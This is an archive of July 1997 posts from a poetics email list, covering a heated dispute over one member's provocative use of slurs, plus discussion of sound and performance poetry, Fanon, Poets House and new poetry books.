He told me, privately, that "there are people and agencies in [my] area to help [me]". Glad to hear that even in this forum people still are doing their bit to maintain the boundary between the mentally ill and the sane. Keep it up, Mark. I'll learn to behave myself in no time, not ackowledge suffering or injustice in art or life. First, Mark Weiss, you said to me that I should try to shock people who would be shocked--cops or parents. That its innapropriate to tell you cause you I guess, were not the opressor. But now you charge me with being mentally ill, in need of proffessional help! Telling a person that struggling is mental illness is wrong. You said something to me that's wrong, and I am really mad at you.

Yours Sincerely, Emily Vey Duke

On Sun, 20 Jul 1997, Mark Weiss wrote:

> *I got this backchannel, as if it were a private communication. Then, lo and behold! public! Neat trick.*
>
> *At 10:54 PM 7/20/97 -0300, you wrote:*
> *On Sat, 19 Jul 1997, Mark Weiss wrote:*
>
> *Provocation for its own sake*
>
> *First of all, Mark, I didn't think of what I wrote as being provocative to the people here, regardless of wether it was "for it's own sake" or not. I've been here a while, Ive been watching. I don't think of the people on the list as the kind to be "provoked" by words like whore or faggot. It certainly was not intended in that spirit. Secondly, I am truly sick to death of having my own work and the work of others criticised in those terms. Frankly, I think it's a stupid fruitless*

> *criticism that comes out of a pricle of discomfort conceptualised as irritation for the sake of ease. Thirdly, I feel hurt that the first public response I get to a post is this kind of attack. The bottom line is I AM a whore and I AM in live with a Faggot and I AM, for obvious reasons, deeply concerned with the mechanisms in place to make me feel like shit about both of those things. I thought that the people on this list would be responsive or interested in the way language operates as such a mechanism. So whatever, buddy. You made me feel really shitty so I feel like saying fuck you. But I won't.*
>
> *It also doesn't say much for the cojones of the perpetrator--I mean, what bad thing do you risk in this venue. I suggest, instead, if you really want to provoke reactions, that you have your post printed on a t-shirt and walk into a leather bar. Or maybe just go up to a cop, or your boss, or your parents, and shout it.*
>
> *At 05:10 PM 7/19/97 -0300, you wrote:*
> *My name is Emily Vey Duke. I am a Whore. I am in love with a Faggot.*

↑ Index

652. **dbkk**
Re: Words which make People Garbage.
Mon 21 Jul 1997

In my last post the line:

> *On Sat, 19 Jul 1997, Mark Weiss wrote:*

Should have read:

> *On Sat, 19 Jul 1997, Stephen C. Ellwood wrote:*

Sorry Mark.

Dodie

↑ Index

653. **dbkk**
Re: Words which make Herr Garbage.
Mon 21 Jul 1997

At 4:21 PM +1200 7/21/97, DS wrote:

> *Look Fanon is simply more relevant to a poetics discussion than a lot of these bickerings.*

"Bickerings." What next DS, are you going to start complaining about women's "chatter"?

db

↑ Index

654. Herb Levy

Re: Upcoming Subtext Readings & recent Seattle publications

Mon 21 Jul 1997

Thanks for the added information, Luigi.

I also forgot to mention Jeanne Heuving's Offering, also from bcc.

I've received a request or two for more info on some of these publications. I'll see what I can do, though some of the principals of both bcc & SubRosa receive poetics list & are (obviously) being remiss in their contractual obligation to announce publications, etc. here; so maybe I won't have to do so.

(& I just today found a message sent to the list from someone involved with Kelsey Street about Laynie's book while I was reading/deleting the last month & a half's messages that had accumulated in this mail box while I paid attention to other things - this is quite a weird array of posts to go through in a few compressed sittings. Hoo-hah, you folks have been, uh, busy round here.)

Bests,

Herb

Luigi wrote:

> *Laynie Browne: _Rebecca Letters_; prose poems--just came in this morning & i'm initially smitten. $10. website:*
>
> *http://www.sirius.com/~kelseyst/Rebec.html*
>
> *no sample, alas.*
>
> *& related, Nico Vassilakis' _sequence_ will be out frm burning press this week, soon as the glue dries... announcement 4thcoming*
>
> *lbd*

Herb Levy

[redacted]

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655. **Lawrence Upton**
Re: What comes next?
Mon 21 Jul 1997

<<i didn't even think there was an audience for concrete and sound poetry (but i'm reading those into the word _performance_). xcept for the poet. but that doesn't count. i'm not so sure there is such a thing as a public art. or maybe i don't believe in one. and maybe i'm over - interpreting a gain.>> Carl Lynden Peters

in Britain, there tends to be quite a good audience for sound poetry - relatively

there isn't all that much truly concrete poetry around but there is a lot of visual poetry, over here; and there is every reason for taking concrete poems as scores or jumping off points for performance - sound poetry by definition surely means performance

one of the problems of working in those areas is the prejudice of those who have their hands on distribution channels - people respond very positively when they get to experience it

with both visual and sound work there is in some a tendency to treat both as odd, perhaps funny, and quirky, not to be taken that seriously - suggest that only the poet herself is interested for instance - recently I asked Bob Cobbing for visual texts for front and back covers for an issue of a magazine - Sub Voicive Poetry 1997 # 12 - featuring the work of two other poets - Anthony Rudolf UK and Ifigenija Simonovic Slovenia and UK... I put all three names on the cover because all three were contributing poetry. Bob said that is very rare - his work is often treated effectively as illustration

Lawrence Upton

↑ Index

656. **Mark Prejsnar**
Re: Where are we in all this?
Mon 21 Jul 1997

A very provisional reply to parts of Scott Bentley's post---

(..maybe belated: have been ill and away from my day-job, where I can access the list..)

..What the heck is a poet of power??

If the implication is of (a kind of Bloomian) will-to-power thru one's writing, I'd say this is about equally accurate a claim regarding mainstreamers...For the most part, the tendency associated with Stein and the LangPotes (..I consider

that the label is best used only for the members of that loose circle, not to characterized the work of others that's in the mod/pomo stream), that tendency is very largely about **relinquishing** control, inviting the collaboration of the reader..

Mark P.

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657. **Mark Prejsnar**
Re: Prizes
Mon 21 Jul 1997

I missed the (not very numerous or visible, I guess) news stories about Rich's refusal of a prize....Any detailed specifics anyone can give? (What the prize was, more details of what she said, and why her political critique made it appropriate to refuse the prize,etc...)

Mark

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658. **Maria Damon**
Re: Words which make People Garbage.
Mon 21 Jul 1997

At 10:54 PM -0300 7/20/97, Stephen C. Ellwood wrote:
... Thirdly, I feel hurt that the first
>public response I get to a post is this kind of attack. The bottom line
>is I AM a whore and I AM in live with a Faggot and I AM, for obvious
>reasons, deeply concerned with the mechanisms in place to make me feel
>like shit about both of those things. I thought that the people on this
>list would be responsive or interested in the way language operates as
>such a mechanism. So whatever, buddy. You made me feel really shitty so
>I feel like saying fuck you. But I won't.

whoa...seems to me you got other responses before weiss's, some more interested in your point about language. my own for example.--md

↑ Index

659. **Maria Damon**
Re: Words which make Herr Garbage.
Mon 21 Jul 1997

At 4:21 PM +1200 7/21/97, DS wrote:

> *Look Fanon is simply more relevant to a poetics discussion than a lot of these bickerings.*

it's about time somebody brought someone like fanon into the discussion. thanks. now, cd u elaborate on the usefulness of fanon to discussions of poetry and poetics? for my part, i've been disappointed by previous isaac julien attempts (looking for langston, young soul rebels,etc) but maybe he's growing into his reputation.

↑ Index

660. **James Finnegan**
Re: Poets House w/Address
Mon 21 Jul 1997

Poets House
72 Spring St.
NY NY 10012
[redacted]

I'm not a New Yorker, but travel there often on business and for me its great sanctuary: quiet, well lit, a few comfortable chairs, chockful of poetry books and litmags. In the afternoons after my appointments are over I like to sit there and read. (Located on Spring St., it's a stone's throw from the SoHo galleries.)

I've been to some of the Poet House programs; mostly the panel discussions, symposia & lectures. These events by & large have been very worthwhile.

The Poetry Publication Showcase is an annual event displaying most, if not all, of the new poetry titles released during the past year. In conjunction with this project, they publish an annual catalog that I've found useful in terms of keeping track of new poetry titles, and useful for ordering books directly from the presses. I'm sure this catalog would be helpful to acquisition librarians as well.

Basic tax-deductible membership is $40. Membership benefits include discounts on the fees charged for their special programs/events and a copy of the above-mentioned catalog. One can avail oneself of the Poets House without being a member--it's free & open to the public as they say.

Finnegan

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661. **John Kinsella**
Salt
Mon 21 Jul 1997

Deadline for pieces on "International regionalism" (Salt 11) is August 15th.

For those in the US, UK, or Europe with work in Salt 10
copies are being posted this week.

Copies available through ISBS (USA), Penguin (AUST), and Liverpool University Press (UK).

Best
JK

↑ Index

662. **Joe Amato/Kass Fleisher**
Re: What comes next?
Mon 21 Jul 1997

---

a few of you have posted me to say that my (odd) piece in the most recent ebr on rick powers & louis zukofsky was formatted oddly... the kind folks at ebr have been working their butts off to correct things, in this summer heat no less (thanx joel felix!), & i am happy to report that my piece is now fully readable... at

http://www.altx.com/ebr/ebr5/amato.htm

any & all feedback, pro & con, much appreciated...

best,

joe

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663. **John Kinsella**
What's in a poem? Cross-posting 2
Mon 21 Jul 1997

Dematerializing The Poisoned Pastoral

With the time-lapse, the upturned echidna writhes,
    ants and maggots consuming its sponge-like
    flesh beneath the spreading International Klein Blue sky--

just a component part of an heroic Blaues Schwammrelief--
the residue of its life flashing by, as sun-eaten locals
stare uncomprehendingly at the skins of their

finest sheep strung out over rusty fences, all veined
and varicosed with ordnance despite
tableaux of monochromatic sameness,
as if each were a small centre, a source of density--
the sky, the dam water, the raddled paddocks and graded roads,
those soft diggings around fallen trees multiplying

each night, writ in mystical latin: Tachyglossus aculeatus. Beneath the picture subterranean streams overflow, underwriting patches of poison bush that'd see the whole flock stone dead on the spread, blue as blue venus in a deeply blue light, blue as the International Klein Blue sea beside which the locals spend their holidays.

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664. **Douglas Barbour**

Re: performance poetry?

Mon 21 Jul 1997

Interesting this talk on 'performance poetry.' Paul Dutton, one of the finest sound poets i know, & once a member of The Four Horsemen, performed at eyerhymes & after wards (along with the great Bob Cobbing) at some other venues in Alberta. We were talking at one point & he discussed his difficulties in writing an encylopedia entry on "Sound Poetry/Performance Poetry": since we (that is stephen Scobie & I as Re:Sounding) were performing with a 'performance poet the next evening, we were interested. He had decided to define sound poetry in terms of what he & Bob & some of the others mentioned already on the list (Charles Morrow, Jackson Maclow) & to leave out the kind of performance poetry we heard the next evening: a good bit of comedy, too many obvious rhymes (& all hit hard by the voie for some reason), & always a strong narrative (at least from this performer0, yet done with he flair of a standup comic. I would, for the moment, tend to agree with him. His amazing "Stereo Head" is certainly an awesome 'performance' but it is so within extremely strict & demanding *formal* limits, as were the varied pieces of the horsemen. And Cobbing's chants are too. Or any of the others i've already named & many others.

On the other hand, I have to think a lot of poets can't read too well if perforance poets are supposed to be so much better or more 'entertaining' than they are, because this performance poet wasn't really doing anything much beyond what I've heard good readers of their own work do in terms of 'expression': well a

George Bowering for example (when not cowering under a lampshade [it's bowering not cowering he opined]), certainly Charles Bernstein, definitely Robert Creeley the one time i was lucky enough to hear him . . . you probabaly get the idea...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

From: <[redacted]>
Errors-To: <[redacted]>
by dfw-ix5.ix.netcom.com (8.8.4/8.8.4)
id VAA25263 for [redacted]; Sun, 20 Jul 1997 21:09:34 -0500 (CDT)
Date: Sun, 20 Jul 1997 21:09:34 -0500 (CDT)
id sma025234; Sun Jul 20 21:09:02 1997
To: [redacted]
Subject: Stein & Gold

What intrigued me most about that Gold rant, as you accurately describe it, is that Gold himself got the inverse treatment in the forward of the edition of Jews without Money (still sounds like a description of my friendship network) when Michael Harrington basically said, this dude can't write, but he has something to say. In fact, Gold was a precise and even delicate stylist. But his official position of "anti-style" gets taken at face value too often.

Unpacking the Stein comment would take a whole history of the relation of the CP's stalinized politics vis a vis modernism and in particular its attraction to the Trots, first, and then to Stein's very obvious gender transgressiveness as a secondary text. Frankly, no American writers other than Sherwood Anderson and Hemingway seem to have had any idea what she was doing until well after her death. She did better with musicians and visual artists, who were generally less anxious about figuring out how to fit her into any model of what writing "should be."

Consider the difficulty that modernist writers of a stalinist nature had: specifically the objectivists. The Trots reviled them because of their CP leaning politics (Zukofsky's college roommate was Whitaker Chambers, Oppen took off for Mexico the minute that the Rosenbergs were arrested, Carl Rakosi was "around" the CP for years and in fact his name is a nom de plume from the real Calman Rawley partly for that reason), other modernists thought they were nuts, poltically speaking, and the CP thought they were nuts aesthetically. Consider, how an intelligent but "well-placed" red like Gold had to negotiate social space. Add misogyny and homophobia to the mix and I think you get what he wrote.

No?

All best,

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]

[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

----------CB714A5379--

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667. **henry g**
Re: Where are we in all this?
Mon 21 Jul 1997

On Mon, 21 Jul 1997 09:01:28 -0400 Mark Prejsnar said:
>If the implication is of (a kind of Bloomian) will-to-power thru one's
>writing, I'd say this is about equally accurate a claim regarding
>mainstreamers...For the most part, the tendency associated with Stein and
>the LangPotes (..I consider that the label is best used only for the
>members of that loose circle, not to characterized the work of others
>that's in the mod/pomo stream), that tendency is very largely about
>**relinquishing** control, inviting the collaboration of the reader..

Sort of a passive-aggressive approach to power, you mean? "C'mon in, reader, let's make meaning together out of random meaninglessness. MY random meaninglessness, that is."

- Henry "Power to the Phoneme" Gould

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668. **Michael Heller**
Poets House
Mon 21 Jul 1997

For those who asked: Poets House is at 72 Spring Street, New York, NY 10012, Tel: [redacted] (for info, membership info, hours, etc.)

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669. **Bennett M. Sm [Dimpson**
Chafe or Lube?
Mon 21 Jul 1997

Isn't there a one line poem by Ted Berrigan that goes:

"This is the only language you understand, ass-face."

Who was he talking to?

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

670. Jordan Davis
Words which push my buttons, golly
Mon 21 Jul 1997

My name, should you choose to accept it, is Jordan Davis.

In five seconds, this open will in love a clematis.

—
Maria --

What's the earliest usage of "men who squint at the moon"? Do you have other breathtaking euphemisms?

I agree with the other correspondent; the Tonight Show is a solid example of mainstream comedy -- as is Late Show -- as is Saturday Night Live after (choose your own bracket-date).

To sum up -- mainstream comedy is someone telling you jokes or acting in skits on a major American television network (i.e. not Fox or UPN) between 11:30 PM and 1 AM.

More soon --
Signed, Therapy Assembly

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671. Mark Weiss
Re: Words which make People Garbage.
Mon 21 Jul 1997

One of the list members was kind enough to explain to me how the backchannel happened.
As for the rest, no further comment.

At 02:52 AM 7/21/97 -0300, you wrote:
>I didn't actually backchannel this to Mark Weiss. I don't know why it
>reached him that way, but it wasn't duplicity on my part.
>

>He told me, privately, that "there are people and agencies in [my] area
>to help [me]". Glad to hear that even in this forum people still are doing
>their bit to maintain the boundary between the mentally ill and the
>sane. Keep it up, Mark. I'll learn to behave myself in no time, not
>ackowledge suffering or injustice in art or life. First, Mark Weiss, you
>said to me that I should try to shock people who would be shocked--cops
>or parents. That its innapropriate to tell you cause you I guess, were not
>the opressor. But now you charge me
>with being mentally ill, in need of proffessional help! Telling a person
>that struggling is mental illness is wrong. You said something to me
>that's wrong, and I am really mad at you.
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>Yours Sincerely, Emily Vey Duke
>
>
>On Sun, 20 Jul 1997, Mark Weiss wrote:
>
>> I got this backchannel, as if it were a private communication. Then, lo and
>> behold! public! Neat trick.
>>
>> At 10:54 PM 7/20/97 -0300, you wrote:
>> >On Sat, 19 Jul 1997, Mark Weiss wrote:
>> >
>> >Provocation for its own sake
>> >
>> >First of all, Mark, I didn't think of what I wrote as being provocative
>> >to the people here, regardless of wether it was "for it's own sake" or
>> >not. I've been here a while, Ive been watching. I don't think of the
>> >people on the list as the kind to be "provoked" by words like whore or
>> >faggot. It certainly was not intended in that spirit. Secondly, I am
>> >truly sick to death of having my own work and the work of others
>> >criticised in those terms. Frankly, I think it's a stupid fruitless
>> >criticism that comes out of a pricle of discomfort conceptualised as
>> >irritation for the sake of ease. Thirdly, I feel hurt that the first
>> >public response I get to a post is this kind of attack. The bottom line
>> >is I AM a whore and I AM in live with a Faggot and I AM, for obvious
>> >reasons, deeply concerned with the mechanisms in place to make me feel
>> >like shit about both of those things. I thought that the people on this
>> >list would be responsive or interested in the way language operates as
>> >such a mechanism. So whatever, buddy. You made me feel really shitty
so
>> >I feel like saying fuck you. But I won't.

>> >
>> >It also doesn't say much for the
>> >> cojones of the perpetrator--I mean, what bad thing do you risk in this
>> >> venue. I suggest, instead, if you really want to provoke reactions, that you
>> >> have your post printed on a t-shirt and walk into a leather bar. Or maybe
>> >> just go up to a cop, or your boss, or your parents, and shout it.
>> >>
>> >>
>> >> At 05:10 PM 7/19/97 -0300, you wrote:
>> >> >My name is Emily Vey Duke. I am a Whore. I am in love with a Faggot.
>> >> >
>> >> >
>> >>
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>>
>
>

↑ Index

672. **p. durgin**
Re: Words which make People Garbage.
Mon 21 Jul 1997

I second that emotion, or condone it at least, or laud the brave sentences of Mr. Ellwood!

I[I]I [redacted] I[I]I

On Sun, 20 Jul 1997, Stephen C. Ellwood wrote:

> *On Sat, 19 Jul 1997, Mark Weiss wrote:*
>
> *Provocation for its own sake*
>
> *First of all, Mark, I didn't think of what I wrote as being provocative to the people here, regardless of wether it was "for it's own sake" or not. I've been here a while, Ive been watching. I don't think of the people on the list as the kind to be "provoked" by words like whore or faggot. It certainly was not intended in that spirit. Secondly, I am truly sick to death of having my own work and the work of others criticised in those terms. Frankly, I think it's a stupid fruitless*

> *criticism that comes out of a pricle of discomfort conceptualised as irritation for the sake of ease. Thirdly, I feel hurt that the first public response I get to a post is this kind of attack. The bottom line is I AM a whore and I AM in live with a Faggot and I AM, for obvious reasons, deeply concerned with the mechanisms in place to make me feel like shit about both of those things. I thought that the people on this list would be responsive or interested in the way language operates as such a mechanism. So whatever, buddy. You made me feel really shitty so I feel like saying fuck you. But I won't.*
>
> *It also doesn't say much for the cojones of the perpetrator--I mean, what bad thing do you risk in this venue. I suggest, instead, if you really want to provoke reactions, that you have your post printed on a t-shirt and walk into a leather bar. Or maybe just go up to a cop, or your boss, or your parents, and shout it.*
>
> *At 05:10 PM 7/19/97 -0300, you wrote:*
> *My name is Emily Vey Duke. I am a Whore. I am in love with a Faggot.*

↑ Index

673. **Maria Damon**

Re: Words which push my buttons, golly

Mon 21 Jul 1997

At 12:39 PM -0400 7/21/97, Jordan Davis wrote:
>My name, should you choose to accept it, is Jordan Davis.
>
>In five seconds, this open will in love a clematis.
>
>__
>
>Maria --
>
>What's the earliest usage of "men who squint at the moon"? Do you have
>other breathtaking euphemisms?

i was thinking of dante's inferno, the canto w/ brunetto latini. judy grahn suggests a few nice ones: men who walk backwards is one i remember. i was hoping someone out there cd let loose with a more flamboyant and insiderish list, there must be lots of wonderful, affirmative, wild, imaginative etc terms for both whore and faggot.

>
>I agree with the other correspondent; the Tonight Show is a solid example
>of mainstream comedy -- as is Late Show -- as is Saturday Night Live after
>(choose your own bracket-date).
>
>To sum up -- mainstream comedy is someone telling you jokes or acting in
>skits on a major American television network (i.e. not Fox or UPN) between
>11:30 PM and 1 AM.
>
>More soon --
>Signed, Therapy Assembly

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674. **dbkk**
fuel for the fire
Mon 21 Jul 1997

At 2:24 AM -0300 7/21/97, Stephen C. Ellwood wrote:
>I am a whore and I am in love with a faggot.
>

Dear List,

Sorry I didn't resist the urge to respond. I promise, I'll leave it alone from now on.

Dodie

↑ Index

675. **Maria Damon**
Re: Words which push my buttons, golly
Mon 21 Jul 1997

At 12:39 PM -0400 7/21/97, Jordan Davis wrote:
>My name, should you choose to accept it, is Jordan Davis.
>
>In five seconds, this open will in love a clematis.
>
>__
>
>Maria --
>
>What's the earliest usage of "men who squint at the moon"? Do you have
>other breathtaking euphemisms?

>
actually now that i check it in my singleton edition, it sez: "they [the sodomites] looked at us as men look at one another under a new moon at dusk; and they knit their brows at us as the old tailor does at the eye of his needle." sinclair sez essentially the same except he sez "puckered" instead of "knit," which is more suggestive, but drops the needle-arts metaphor.

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676. Mark Wallace
a new book by Allen Ginsberg
Mon 21 Jul 1997

I've just read this past week, with pleasure and obvious sadness, a book just out from Zasterle Press, Allen Ginsberg's LUMINOUS DREAMS, a collection of prose dream sequences written over a number of years. They're all very intriguing; my favorite was the first, a dream sequence called "History of the Jewish Socialist Party in America":

"... in fact we are completely unconcerned with the US Govt, and far from spying on it we welcome spies in our midst in the hope they be converted and learn something about us."

It was both amazing and strange to hear, even in these relatively casual pieces, the voice of Ginsberg come alive again in new work; reading it I felt how powerful and present his work and life remain.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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677. Lawrence Upton
Re: performance poetry?
Mon 21 Jul 1997

Douglas Barbour wrote

<<. And Cobbing's chants are [within extremely strict & demanding *formal* limits, as were the varied pieces of the horsemen too.>>

Bob frequently works free form

apart from that I think everything you sd is v interesting and worth considering

Lawrence

↑ Index

678. **Daniel Bouchard**
Output of your job// request for Digests
Mon 21 Jul 1997

If anyone saves Poetics Digests and could forward them to me (since Friday), I would much appreciate it. I got booted off the list when my server rebelled sometime over the weekend.

Don't you hate it when your Server rebels?

[redacted]

or, [redacted], if you're going to forward things.

Thanks.

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679. **Stephen C. Ellwood**
Re: Words which make People Garbage.
Mon 21 Jul 1997

I'm sorry, Maria. I really appreciate your responses to me, and it may be true that you sent your response before Mark Weiss, but I got his first, plus yours was nice, and his was mean, so I responded (probably wrongly, but from the heart) to the galling one, to defend myself, first. Thanks, though. More stupid computer confusion, like the backchannel thing...

EVD

On Mon, 21 Jul 1997, Maria Damon wrote:

> *At 10:54 PM -0300 7/20/97, Stephen C. Ellwood wrote:*
> *... Thirdly, I feel hurt that the first*
> *public response I get to a post is this kind of attack. The bottom line*
> *is I AM a whore and I AM in live with a Faggot and I AM, for obvious*
> *reasons, deeply concerned with the mechanisms in place to make me feel*
> *like shit about both of those things. I thought that the people on this*
> *list would be responsive or interested in the way language operates as*
> *such a mechanism. So whatever, buddy. You made me feel really shitty so*
> *I feel like saying fuck you. But I won't.*
>
> *whoa...seems to me you got other responses before weiss's, some more*

> *interested in your point about language. my own for example.--md*

↑ Index

680. **George Bowering**
Re: Words which make Herr Garbage.
Mon 21 Jul 1997

> *At 4:21 PM +1200 7/21/97, DS wrote:*
>
> *Look Fanon is simply more relevant to a poetics discussion than a lot of these bickerings.*

Wait a minute. Who the hell is Look Fanon?

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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681. **George Bowering**
Re: Words which make People Garbage.
Mon 21 Jul 1997

That person who refers to herself as a whore said:

> *You don't understand. Which is a little hard to swallow, this shit about you telling me to raise my conciousness and what, maybe my self esteem? After you, Ms. Dodie, chose to A) not communicate with me privately, then*

etc etc etc etc.

She seems to think that a discussion group on the net is an opportunity to dis people and talk nasty. That is not, I think, the purpose of this group , anyway. It should be a place for discourse and conversation and literary fun.

Someone might mention to her a discussion group for agression therapy.

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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682. **Jacques Debrot**
Re: a new book by Allen Ginsberg
Mon 21 Jul 1997

Mark: I've felt for a long time that the Beats' "dreamwork" includes some of their most interesting (though, perhaps, not their best) writing - I guess I'm thinking specifically of Kerouac's *Dream Book* and of Burroughs' *My Education*. Thanks for passing along the word on the Ginsberg.

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683. **Eliza McGrand- CVA Guest**
Re: Words which make People Garbage.
Mon 21 Jul 1997

---

george bowering

you pilfering communist scum -- it's "aggression," not "agression"! how DARE you recommend anyone get aggression therapy -- we're not aggressive. why, i'm a wounded seal, a palpatating heart of a tender dove you rotten shaggy misbegotten son of a sea cook! none of us are angry! not one single one of us ever, god rot and destroy you, says a single inappropriate thing dogpoop dogpoop dogpoop. it is YOU, all YOU

why, look -- you MIS-SPELLED! what further proof do we need that you are a slavering hater of dogs and small children? i bet you steal from the salvation army drums at christmas!

and if i want to reveal my deepest inner traumas to 400+ complete strangers i will! and they have to be nice! they BETTER say all kinds of delicate supportive things because damn it i can get therapy anywhere i want anytime and anyone i point to has to provide it because you're all scum, communist scum!

fondly ever dearest george (i will always remember you in the delicacy of pink feathers and pearls)...

natasha "That's not an M16, that's my purse ornament and SO WHAT if i shot you" von rabbit-masher

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684. Dave Zauhar
Re: Chafe or Lube?
Mon 21 Jul 1997

Bennett simpson wrote. . .

> *Isn't there a one line poem by Ted Berrigan that goes:*
>
> "*This is the only language you understand, ass-face.*"
>
> *Who was he talking to?*

One of the people he likes to beat up?

Dave Zauhar

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685. Eliza McGrand- CVA Guest
call for work -- the theme is IDENTITY
Mon 21 Jul 1997

CALL FOR SUBMISSIONS!
BRING OUT YOUR POEMS/PROSE/ESSAYS/ARTWORK!

The _Free Cuisenart_ is doing a thematic 'zine about IDENTITY and we are looking for work centered around/incorporating/considering: identity, your identity(ies), your friends' identity(ies), your family('s) identity, identity as central (peripheral), identity as de-centering, the notion/fact/myth of identity, (dis)loyalty to identity, gain or loss of identity, making or breaking of identity(ies), remaking identity(ies), or go on somewhere else from suggested... Please send work to Jordanne Holyoak-Kitchel, at [redacted], or snailmail to Jordanne Holyoak-Kitchel, P.O. Box 33063, Indianapolis, IN, 46203. For artwork, send gif, jpg, or bmp of moderate size.

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686. Jay Schwartz
Naropa Dopa & Kim Yawn
Mon 21 Jul 1997

Dodie and Kevin,

Been meaning to drop you a line to try to scratch some Naropa gossip out of you. Sounds like you had fun, judging from brief comments on the List. I'm dying to know your impressions of the curious institution that Lauren Mary and I dealt with. A litany of gossipy questions follows which may come off like a fly buzzing in your ear. If so, please delete it and just enjoy your day.

Litany:

Was there that strange mix of anti-intellectualism and reverence for "Outriders?" How dominant was Andrew this year in determining programming and stuff? How cheesy was he? What were the students like this year? How much exposure to coontemporary experimental writing did students bring this time around? Usually there was a very small minority who had no more than a slight exposure to the Beats. What did you think of Boulder and its New Ageyness? The Townhouses?

Also, I have a strange bit of info about the weird Emily Vey Duke/Kim Dawn Poetics List headache. I havce been correpsonding briefly with Emily Vey Duke about Naropa, and in the course of this I asked her how she came onto the list. She says she joined because her friend Kim Dawn asked her to sign up to help stick up for her. Seems they went to art school together- I knew some students at CAL ARTS who were taking a creative writing class and produced "Transgressive Writing" that was highly informed by Kathy Acker but lacking in much thought towards considerations of form or linguistic play. I was wondering if this scenario jived with your (Dodie's) experience teaching art students at the Art Institute. I don't mean to generalize too much about this kind of situation, it just seems to be a possible context for placing both KD and EVD.

Anyhow, I don't mean to blab too much. Hope you are both doing well.

Jay

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687. **dbkk**
Re: Naropa Dopa & Kim Yawn
Mon 21 Jul 1997

Jay,

We should chat in person re: all of this. Like, are you doing anything before the reading on Friday???? I'll be at SPT, probably doesn't make much sense to go home between activities.

x,
Dodie

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688. **DS**

Re: Words which make Herr Garbage.

Mon 21 Jul 1997

I never saw 'looking for langston' and always meant to, but i remember not being too excited about young soul rebels - can't remember the name of the other one i refered to - but was similarly unmoved by. The Fanon doco was flawed. Music was melodramatic and as i said it tried to make some visual connections that were either too obvious or too obscure for my sluggish brain. That said it looked good & provided some thoughtful insight without attempting to provide the usual sort of limiting closure these things often seem to do.

The same cannot be said for a recent documentary (pah) about New Zealand 'folk hero' poet James K Baxter which was a piece of complete crap & should be avoided at all costs.

Dan

as to your question about poetics & Fanon... I haven't thought too much about it. I guess his inextricable influence over postcolonial writers/theorists/politicians(?) pulls him into the poetry/poetics loop - or the loop around him. I can only guess about any direct influence he may have had on specific writers - and would be fascinated to know if there is an Algerian poetry connected to his time there. Often he seems to be dismissed as a simple didact or hate-mongerer, and it appears his actions at times may have verged on the reactionary, but there is a thoughtfulness/perhaps a circumspect intelligence in his writing (and i have not read it all) that is not always obvious at first browse. (Straining here trying to think of something intelligent to say - will have to settle for just thinking of something to say) I hazard a guess that many members of this list would disregard Fanon in the same breath as disregarding cultural studies (perhaps i am wrong), but it would be interesting to look draw up some sort of post/anti-colonial-capitalism-imperialism whakapapa (sorry 'family tree') that saw parallels between his strategies of resistance and those of the left-wing lang.etc poets we know and love. I am aware that is a very tenuous suggestion. But it would be more provocative than to limit a discussion to his perceived connection to say Walcott, Brathwaite, or perhaps Baraka - along with screeds of novelists.

Blech enough guessing anyone else?

> *it's about time somebody brought someone like fanon into the discussion. thanks. now, cd u elaborate on the usefulness of fanon to discussions of poetry and poetics? for my part, i've been disappointed by previous isaac julien attempts (looking for langston, young soul rebels,etc) but maybe he's growing into his reputation.*

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689. **DS**
Re: Words which make Herr Garbage.
Mon 21 Jul 1997

Sorry i was very tired. IT is A type-O which should have read Books Anon is a more relevant poetics discussion for these bickerings.

Apollo Gees,
LZ in outer space.

At 01:17 PM 7/21/97 -0700, you wrote:
>>At 4:21 PM +1200 7/21/97, DS wrote:
>>
>>>Look Fanon is simply more relevant to a poetics discussion than a lot of
>>>these bickerings.
>
>
>Wait a minute. Who the hell is Look Fanon?
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>e-mail: [redacted]
>
>

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690. **Joel Kuszai**
Dredging the Harbor for a Sinking Ship
Mon 21 Jul 1997

Performance of the spectacle of belligerent, principled, truculent insistence at "being heard" at whatever cost to the community at large, must end!

Having been off-line for a period greater than a month but less than two, I've been lagging behind in my poetics reading, by about a week or so, following up on the digests only as I am able to get them on disk and then back home from my telnet station on this foreign campus. Yesterday or the day before, I returned to regular mail delivery from the poetics listserv back on my home planet of Buffalo New York. If it is not too late, and if there has not been too much written about this, please let me jump in on a couple items that have been going on here.

It is astonishing to me the way that certain discussions, events, or situations are repeated on this list, seemingly every few months. The list itself isn't that old--wuzzit Charles B. said? --went public Dec 1993?--and so perhaps the high volume of verbiage and the nature of the way listservs "conduct themselves" has led to a kind of chronocompression that, when viewed against historical "reality" seems absurd. I'm not personally opposing the repetition of any of the topics discussed, from the criticism vs. poetry debates, to the performance discussions to the continual struggle of the "emerging writers" to define themselves in relation to language poetry. Often, however, it seems that the same problems are discovered and repeated anew without any consideration for the fact that many "in the audience" have seen much better actors in the very same roles.

I read somewhere that if nothing else, the "lumpen-slackers" of the C.O. movement showed that the "system" was fallible in that it wasn't able to garner the allegiance of "subjects."

Just as in the "subjective irrelevant" (an inverse of Eliot's "objective correlative") real world, the lack of historical awareness on the list is due to the huge volume of material to read and comprehend and the unlikely prospect that someone would read the whole list from beginning to current. How many words is that? How many posts? On the other hand, if I'm going to write to the Mammals List about my love and knowledge of Otters, I certainly would do a search on "Otters" first to stake out the field. I might even learn something about Otters that I didn't know. But hey, I'm into Otters.

